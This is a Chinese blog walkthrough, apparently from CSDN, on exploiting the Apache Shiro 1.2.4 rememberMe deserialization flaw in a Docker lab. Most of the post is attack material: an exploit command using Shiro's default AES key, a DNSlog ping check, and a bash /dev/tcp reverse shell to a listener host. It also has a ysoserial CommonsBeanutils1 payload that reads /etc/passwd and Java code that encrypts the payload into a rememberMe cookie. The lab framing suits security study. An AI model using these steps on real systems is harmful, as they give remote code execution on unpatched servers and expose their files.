Apache-shiro反序列化

使用docker搭建环境

获取docker镜像

docker pull medicean/vulapps:s_shiro_1

重启docker

systemctl restart docker

启动docker镜像:

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1

访问:

http://localhost:8081/ 环境搭建成功

在这里插入图片描述

一、检查有没有默认key

检测脚本工具:https://pan.baidu.com/s/1ksvF105y_D86NhpCwEEJ5A
提取码:vg0x

在这里插入图片描述

二、dnslog获取IP

用上面的脚本工具

获取dnslog的域名替换 {dnshost}
用检测出来的key替换掉kPH+bIxk5D2deZiIxcaaaA==

python shiro_exploit.py -u http://target/ -t 3 -p "ping -c 2 {dnshost}" -k "kPH+bIxk5D2deZiIxcaaaA=="

在这里插入图片描述
在这里插入图片描述

三、反弹shell

反弹工具:https://pan.baidu.com/s/1ihgt1aps6lxft-mGzBrBkQ
提取码:v0y1

先用检测出来的key,替换脚本里面的key。
先生成rememberMe

python shiro_1.2.4.py "echo '/bin/bash -i >& /dev/tcp/192.168.88.141/8088 0>&1' >> a.txt &&bash a.txt"

在这里插入图片描述
登陆,替换cookie,监听端口。
在这里插入图片描述
在这里插入图片描述
反弹成功
在这里插入图片描述

四、burp回显

先生成poc.ser文件

java -jar ysoserial.jar CommonsBeanutils1 "cat /etc/passwd" > poc.ser

使用Shiro内置的默认密钥对Payload进行加密:

java调试

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

发送rememberMe Cookie,即可成功执行cat /etc/passwd

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值